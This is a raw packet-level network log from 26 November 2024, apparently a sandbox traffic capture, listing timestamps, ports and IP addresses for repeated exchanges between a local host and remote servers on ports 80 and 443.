Nov 26, 2024 16:31:19.315257072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315268993 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315270901 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315318108 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315318108 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.315443039 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315457106 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.315532923 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416349888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416353941 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416379929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416395903 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416405916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416414976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416424990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416435003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416444063 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416455030 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416465998 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416475058 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416511059 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416511059 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416516066 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416527987 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416538000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416538000 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416538000 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416553020 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416563988 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416574001 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416584015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416589975 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416589975 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416594982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416606903 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416616917 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416626930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416635990 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416637897 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416665077 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416675091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416681051 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416693926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416697979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416718006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416731119 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416747093 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416763067 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416800022 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416826010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416837931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416846991 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416857004 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416866064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416877031 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416882038 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416908026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.416930914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416943073 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416950941 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.416965008 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.417002916 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.417002916 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.417030096 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417054892 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417124033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.417139053 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417154074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417164087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417176962 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417186975 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417195082 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417203903 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417217970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417226076 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417237997 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417243004 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417246103 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417247057 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417253971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417254925 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417257071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417258024 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.417258978 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417262077 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417265892 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417272091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417282104 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417292118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417304039 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417316914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417330980 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.417334080 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417335987 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.417344093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417344093 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.417350054 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417356968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417366028 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417376041 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.417376995 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.417392969 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.417392969 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.417397022 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417398930 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.417413950 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417423964 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.417424917 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.417435884 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.417476892 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.417535067 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.422075033 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:19.422111988 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:19.423293114 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:19.427128077 CET	49740	443	192.168.2.6	20.234.120.54
Nov 26, 2024 16:31:19.427139997 CET	443	49740	20.234.120.54	192.168.2.6
Nov 26, 2024 16:31:19.443408966 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.443614960 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.443876982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.446549892 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.446559906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.446573973 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.446764946 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.450186014 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.450196981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.450345039 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.452097893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.452131033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.452245951 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.456633091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.456825972 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.458741903 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.458908081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.460428953 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.460443974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.460453987 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.460599899 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.463112116 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.463124990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.463254929 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.464948893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.465039968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.465065002 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.465236902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.466880083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.466953039 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.468955994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.469110012 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.470863104 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.470885992 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.470957994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.470957994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.473651886 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.473665953 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.473788023 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.477186918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.478435993 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.480382919 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.480396986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.480590105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.481657982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.481671095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.481681108 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.481750965 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.481750965 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.483429909 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.483510017 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.487430096 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.487442017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.487606049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.489926100 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.489938021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.490051985 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.492364883 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.492377996 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.492404938 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.492434978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.492434978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.492594957 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.494894028 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.498073101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.654766083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654805899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654855013 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654859066 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.654859066 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.654866934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654879093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654891014 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654902935 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654906988 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.654915094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.654916048 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654953957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654967070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654978037 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654994011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:19.654994965 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.654994965 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.655030966 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.655077934 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:19.655159950 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.655172110 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.655205965 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.655236006 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.655246973 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:19.655257940 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:19.655308008 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.000543118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000559092 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000569105 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000582933 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000595093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000606060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000612020 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000612020 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.000623941 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000637054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000648022 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000648022 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.000704050 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.000730991 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000770092 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.000849962 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000864029 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000890017 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.000901937 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.000921011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000953913 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000971079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000983000 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.000984907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.000998974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001002073 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001025915 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001027107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001039982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001039982 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001071930 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001076937 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001091957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001100063 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001113892 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001133919 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001137018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001151085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001171112 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001176119 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001183987 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001194954 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001197100 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001209974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001209974 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001230001 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001238108 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001245022 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001250982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001262903 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001274109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001276970 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001305103 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001307964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001322985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001331091 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001334906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001348019 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001358032 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001375914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001384020 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001389027 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001414061 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001431942 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001439095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001440048 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001441956 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001452923 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001477957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001480103 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001491070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001507044 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001509905 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.001523018 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001523972 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001537085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001544952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001549006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001553059 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.001562119 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001571894 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001583099 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001590967 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001593113 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.001611948 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001615047 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001615047 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001624107 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001647949 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001651049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001661062 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001665115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001691103 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001693010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001708031 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001715899 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001719952 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001738071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001749992 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001763105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001763105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001765966 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001779079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001791000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001802921 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001816988 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001828909 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001832962 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001837015 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001858950 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001863956 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001866102 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001869917 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001878977 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001880884 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001898050 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001903057 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001909971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001914978 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.001920938 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001924992 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001934052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001945972 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001954079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001955986 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001956940 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.001957893 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.001962900 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.001970053 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.001982927 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.002006054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.002007961 CET	49720	80	192.168.2.6	185.215.113.206
